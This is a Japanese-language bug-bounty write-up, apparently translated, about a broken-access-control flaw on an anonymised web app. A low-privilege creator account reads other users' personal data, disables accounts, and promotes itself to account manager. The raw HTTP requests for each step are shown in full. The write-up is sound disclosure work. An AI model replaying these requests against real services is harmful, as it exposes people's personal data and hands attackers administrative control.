Hello there, ('ω')ノ
壊れたアクセス制御 + 構成ミス = 美しい権限昇格を。
脆弱性:
壊れたアクセス制御
権限昇格
記事:
今回は、権限昇格の脆弱性について。
このサイトには作成者/アカウント所有者の 2 つの役割があり。
アカウント所有者ユーザは管理者であり、完全なアカウント ユーザ
およびその他の機能にアクセスできて。
作成者の役割は組織内で一部のもののみを作成できますが、
ユーザ情報、UUID、その他の組織情報/PII などにはアクセスできず。
ユーザの役割
壊れたアクセス制御を見つけるためにほとんどのエンドポイントを試しましたが、
ほとんどのエンドポイントは 403 で禁止されていて。
ユーザ情報/PII の読み取りを許可したエンドポイントは 1 つだけで。
このエンドポイントにより、権限のないユーザが組織情報/PII に
アクセスできるようになって。
GET /v1/account/customer/users?includeDetails=true HTTP/1.1
Host: dontlookhere Cookie: FewRoleUserCookies
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://dontlookhere
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers Connection: close
壊れたアクセス制御
上記のエンドポイントでアクセス制御が壊れているため、電子メール、
電話番号、UUID、住所などの組織ユーザの情報にアクセスできて。
上記は脆弱性ですが、それでも権限昇格が必要で。
また、ほとんどの関数はリターンが禁止されており、ユーザの追加、
ユーザの削除、その他の書き込み関数はリターン 403 を返し。
少数のユーザ役割アカウントで 1 つの関数のみが実行され、200 が返されて。
そこでこのリクエストを試してみて。
PUT /v1/myaccountapi/account/customers/users/UUID-bd796c52dca7/status HTTP/1.1
Host: dontlookhere
Cookie: FewUserCookies
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://dontlookhere
Content-Type: application/json;charset=utf-8
X-Csrf-Token: X-Xsrf-Token:
Content-Length: 69
Origin: https://dontlookhere
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{“status”:”DISABLED”,”userId”:”UUID–886f-bd796c52dca7"}
上記のリクエストでは、403 なしでユーザのステータスを
非アクティブ化に変更でき、ユーザは非アクティブ化ステータスに変更され、
再アクティブ化できることがわかり。
しかし、ここで 2 番目に、役割変更機能を使用して自分の役割を作成者から
アカウント マネージャにアップグレードすることができて。
PUT /v1/myaccountapi/billing/customers/users/UUID-553486df4683/roles HTTP/2
Host: dontlookhere
Cookie: FewUserCookies
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://dontlookhere
Content-Type: application/json;charset=utf-8
X-Csrf-Token:
Content-Length: 3
Origin: https://dontlookhere
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
[1]
ロール [2] は作成者、ロール [1] はアカウント マネージャで。
そこで、Cookieを作成者ロールアカウントのCookieに置き換え、
UUIDを同じ作成者ロールアカウントUUIDに変更して。
上記の壊れたアクセス制御から取得し、取得できたので他のユーザのロールを
編集することもできて。
そこにUUIDがありリクエストは正常に実行されて。
少数のユーザによって実行されたリクエストとは何か。
アカウントの役割がアカウント マネージャに変更されて、
自分が組織の管理者になって。
アカウントがアカウントマネージャーに変更され
Best regards, (^^ゞ